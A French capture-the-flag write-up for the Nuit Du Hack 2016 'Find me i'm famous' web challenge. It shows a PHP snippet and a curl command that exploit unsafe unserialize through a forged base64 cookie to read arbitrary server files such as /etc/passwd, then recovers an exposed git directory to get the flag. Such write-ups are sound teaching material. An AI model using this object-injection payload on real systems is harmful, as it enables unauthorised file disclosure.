Français [Nuit Du Hack Quals 2016] [Web 100 – Find me i’m famous] Write Up

Description

Hey Dude! This authentication annoys me, please help!

The challenge is available at http://findmeimfamous.quals.nuitduhack.com

Resolution

Nous nous retrouvons devant un formulaire nous demandant de nous enregistrer, avec un nom et un âge.

signup

Une fois cette étape effectuée, un cookie est enregistré contenant une chaine en base64 intéressante. Une fois décodée, cela nous donne un objet serializé en php.

cook=Tzo0OiJVc2VyIjoyOntzOjM6ImFnZSI7czo1OiJhZG1pbiI7czo0OiJuYW1lIjtzOjU6ImFkbWluIjt9m

Une fois décodé :

O:4:"User":2:{s:3:"age";s:5:"admin";s:4:"name";s:5:"admin";}

Après l’enregistrement, un formulaire nous demande notre nom, qui une fois posté nous renvoie un joli message « Hello NAME you have AGE years old. ».

second auth

Le problème ici, c’est qu’on comprend bien que la faille doit venir de l’unserialize, mais … sur quelle classe ?

Coup de bol, en cherchant de la documentation sur les failles unserialize, nous sommes tombés sur l’article http://securitycafe.ro/2015/01/05/understanding-php-object-injection/.

La classe FileClass étant utilisée dans l’épreuve, cela nous a permis de lire les fichiers que nous voulions sur le serveur.

<?php
class FileClass {
 public $filename;
}
$f = new FileClass();
$f->filename = '/etc/passwd';
echo serialize($f);

Avec ce code nous générant le payload pour lire n’importe quel fichier, facile, y’a plus qu’à lire le /etc/passwd ou un fichier commun comme dans n’importe quel CTF ? Et bien non…

Nous avons cherché partout sur le serveur, en récupérant l’intégralité des sources des pages inclues dans le site, /etc/passwd, /flag, configuration apache, etc., rien à faire… le flag reste introuvable.

Après des heures à chercher une exploitation logique, c’est un coup de bol² (…) qui nous a fait trouver le dossier « git » à la racine de l’épreuve (pourquoi ne pas avoir mis le point devant le nom du dossier ?!).

Là, d’un seul coup, tout s’éclaire, un coup de wget pour récupérer récursivement tout le dépot, puis un check dans les logs de commit :

git

Récupérer le contenu du fichier nous donne (enfin) le flag :

$ curl 'http://findmeimfamous.quals.nuitduhack.com/result.php' -b "cook=$(echo 'O:9:"FileClass":1:{s:8:"filename";s:14:"ufhkistgfj.php";}' | base64 | tr -d "\n")"
<?php
if ($_COOKIE["cook"]==Tzo5OiJGaWxlQ2xhc3MiOjE6e3M6ODoiZmlsZW5hbWUiO3M6MTQ6InVmaGtpc3RnZmoucGhwIjt9){
 echo "NDH[bsnae6PcNyrWZ82Q8v6pfJ6C6HG433L6]";
}

Le flag était : bsnae6PcNyrWZ82Q8v6pfJ6C6HG433L6

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *